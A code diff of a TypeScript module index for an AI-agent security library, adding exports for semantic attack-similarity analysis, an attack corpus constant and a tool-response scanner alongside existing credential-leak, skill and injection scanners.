+ export type { SemanticAnalysisResult, Embedder } from './semantic/index.js';
15
+ export { ATTACK_CORPUS } from './semantic/attack-corpus.js';
13
16
  export { scanForCredentials, redactCredentials, DEFAULT_CREDENTIAL_CONFIG } from './credential-leak/index.js';
14
17
  export type { CredentialScanResult, CredentialFinding, CredentialDetectionConfig, CredentialType, CredentialSeverity } from './credential-leak/index.js';
15
18
  export { logAudit, queryAuditLogs, getAuditStats } from './audit/index.js';
16
19
  export { scanSkill, scanSkillContent, discoverSkillFiles, detectFormat, detectFormatFromContent, parseSkillFile, readSkillFile } from './skill-scanner/index.js';
17
20
  export type { SkillScanResult, SkillScanOptions, SkillThreatFinding, ParsedSkill, SkillFormat } from './skill-scanner/index.js';
21
+ export { scanToolResponse, shouldScanToolResponse } from './tool-response-scanner.js';
22
+ export type { ToolResponseScanResult } from './types.js';
18
23
  export { activateIronDome, deactivateIronDome, getIronDomeStatus, isChannelTrusted, isActionAllowed, scanForInjection, checkPII, handleKillPhrase, IRON_DOME_PROFILES, DEFAULT_IRON_DOME_CONFIG, } from './iron-dome/index.js';
19
24
  export type { IronDomeConfig, IronDomeProfile, InjectionScanResult, InjectionDetection, InjectionSeverity, InjectionCategory, GatewayResult, ActionGateResult, ActionDecision, PiiCheckResult, PiiViolation, KillSwitchResult, } from './iron-dome/index.js';
20
25
  export { getCloudConfig, setCloudConfig, clearCloudConfigCache, getTrustedSkills, addTrustedSkill, removeTrustedSkill, getDeviceId, getDeviceName, getDefenceMode, setDefenceMode, isConfigTampered, getVerifyConfig, setVerifyConfig, getOpenClawAutoMemory, setOpenClawAutoMemory, getOpenClawMemoryConfig, setOpenClawMemoryConfig } from '../cloud/config.js';
@@ -15,12 +15,20 @@ export { analyzeFirewall } from './firewall/index.js';
15
15
  export { classifySensitivity, redactContent, redactForDisplay } from './sensitivity/index.js';
16
16
  // Fragmentation
17
17
  export { analyzeFragmentation, storeFragmentationData } from './fragmentation/index.js';
18
+ // Semantic Analysis (Layer 3 — async/deep-scan path only; degrades gracefully)
19
+ export { analyzeSemanticSimilarity, SEMANTIC_SIMILARITY_THRESHOLD } from './semantic/index.js';
20
+ export { ATTACK_CORPUS } from './semantic/attack-corpus.js';
18
21
  // Credential Leak Detection (Layer 6)
19
22
  export { scanForCredentials, redactCredentials, DEFAULT_CREDENTIAL_CONFIG } from './credential-leak/index.js';
20
23
  // Audit
21
24
  export { logAudit, queryAuditLogs, getAuditStats } from './audit/index.js';
22
25
  // Skill Scanner
23
26
  export { scanSkill, scanSkillContent, discoverSkillFiles, detectFormat, detectFormatFromContent, parseSkillFile, readSkillFile } from './skill-scanner/index.js';
27
+ // Tool Response Scanner (read-path scan; pure, no DB handle required —
28
+ // the audit write is guarded by isDatabaseInitialized()). Exposed here so the
29
+ // OpenClaw realtime plugin can scan in-process instead of shelling out to the
30
+ // MCP server per message.
31
+ export { scanToolResponse, shouldScanToolResponse } from './tool-response-scanner.js';
24
32
  // Iron Dome — Behaviour Protection Layer
25
33
  export { activateIronDome, deactivateIronDome, getIronDomeStatus, isChannelTrusted, isActionAllowed, scanForInjection, checkPII, handleKillPhrase, IRON_DOME_PROFILES, DEFAULT_IRON_DOME_CONFIG, } from './iron-dome/index.js';
26
34
  // Cloud